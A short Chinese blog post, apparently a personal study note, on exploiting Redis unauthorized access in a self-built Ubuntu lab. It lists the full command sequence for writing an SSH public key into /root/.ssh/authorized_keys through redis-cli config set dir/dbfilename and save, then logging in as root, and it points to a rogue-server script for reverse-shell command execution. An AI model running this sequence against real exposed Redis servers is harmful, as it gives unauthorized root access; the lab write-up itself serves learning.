从redis未授权访问到获取服务器权限
阅读原文时间:2023年08月09日阅读:2

好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。

这里是关于redis未授权访问漏洞的一篇漏洞利用:

首先是redis,靶场搭建:

先是搭建ubuntu靶机,可参考这一篇文章:

https://zhuanlan.zhihu.com/p/141033713

全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。

安装redis服务:

安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:

https://www.cnblogs.com/bmjoker/p/9548962.html

安装好了之后:

redis-server /etc/redis.conf   启动redis服务。注意,一定要用root用户启动。

启动之后,这个redis未授权访问靶机就算搭建完成了。

漏洞利用:

如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。

下面是漏洞利用过程:

首先本地生成一对公私钥,使用命令:

ssh-keygen -t rsa

于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:

将生成的公钥的内容前后添加3个\n,即3个回车,保存到一个txt文件中。

然后将该txt中的内容写入redis:

cat test.txt | redis-cli -h 192.168.145.135 -x set ok

登录redis服务器:

redis-cli -h 192.168.145.135

config get dir命令可以得到redis的备份路径

更改redis备份路径为ssh公钥存放目录,即/root/.ssh:

config set dir /root/.ssh

然后设置上传公钥的备份文件名字为authorized_keys:

config set dbfilename authorized_keys

然后

save

这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。

上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:

使用脚本:

https://github.com/vulhub/redis-rogue-getshell

使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。